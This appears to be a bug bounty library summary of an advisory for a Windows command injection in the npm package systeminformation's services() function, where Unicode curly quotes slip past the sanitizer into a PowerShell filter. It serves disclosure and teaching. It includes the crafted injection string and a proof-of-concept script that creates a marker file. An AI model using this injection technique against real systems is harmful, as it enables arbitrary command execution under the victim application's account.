# systeminformation vulnerable to Windows command injection in services() through Unicode quotation marks

systeminformation's services() sanitizer strips ASCII quotes but not Unicode curly quotes, letting a crafted service name break out of the PowerShell filter and run commands on Windows.

- Payout: Research
- Severity: high
- Program: systeminformation
- Found by: itsFM-Codes
- Disclosed: 2026-10-28
- CVE: CVE-2026-116576
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3f7j-7jwc-fxfj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3f7j-7jwc-fxfj
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:nodejs tech:windows technique:parser-differential technique:unicode-normalization vuln:command-injection

**Target:** npm library services() PowerShell Get-CimInstance filter on Windows
**Root cause:** sanitizeShellString() removes ASCII double quotes but not U+201C/U+201D curly quotes, and default non-strict mode permits spaces and parentheses; PowerShell treats curly quotes as string delimiters, so input escapes the -Filter string.
**Steps:**
1. Install `systeminformation@5.33.15` on Windows with Node.js and PowerShell.
2. Call `si.services('not-a-service” (New-Item -Name <marker> -ItemType File -Force) “')`.
3. The curly quote closes the generated `Get-CimInstance Win32_Service -Filter` string and the parenthesized expression executes via `util.powerShell()`.
4. Observe the marker file created under the Node.js process account.
**How found:** Noticed the sanitizer only strips ASCII quotes while PowerShell accepts Unicode curly quotes as delimiters, then tested a breakout payload against the checked-out source on Windows.
**Exploitation:** Any consuming app that forwards attacker-controlled input to services() (directly or via getDynamicData()) on Windows executes arbitrary PowerShell as the Node process account; a loopback HTTP harness confirmed query-param reachability, but no in-repo network route exists.
**Insight:** When a sanitizer targets shell metacharacters, check whether the downstream interpreter accepts alternate Unicode equivalents (curly quotes, fullwidth chars) as delimiters — ASCII-only denylists leave a parser differential open.

## Proof of concept (copied exactly from the original report)

**PoC script injecting via curly quotes into services()**

```
const fs = require('node:fs');
const path = require('node:path');
const si = require('systeminformation');

(async () => {
  const markerName = `si-injection-${process.pid}.txt`;
  const markerPath = path.join(process.cwd(), markerName);
  fs.rmSync(markerPath, { force: true });

  try {
    await si.services(`not-a-service” (New-Item -Name ${markerName} -ItemType File -Force) “`);
    console.log(`markerCreated=${fs.existsSync(markerPath)}`);
  } finally {
    fs.rmSync(markerPath, { force: true });
  }
})().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});
```

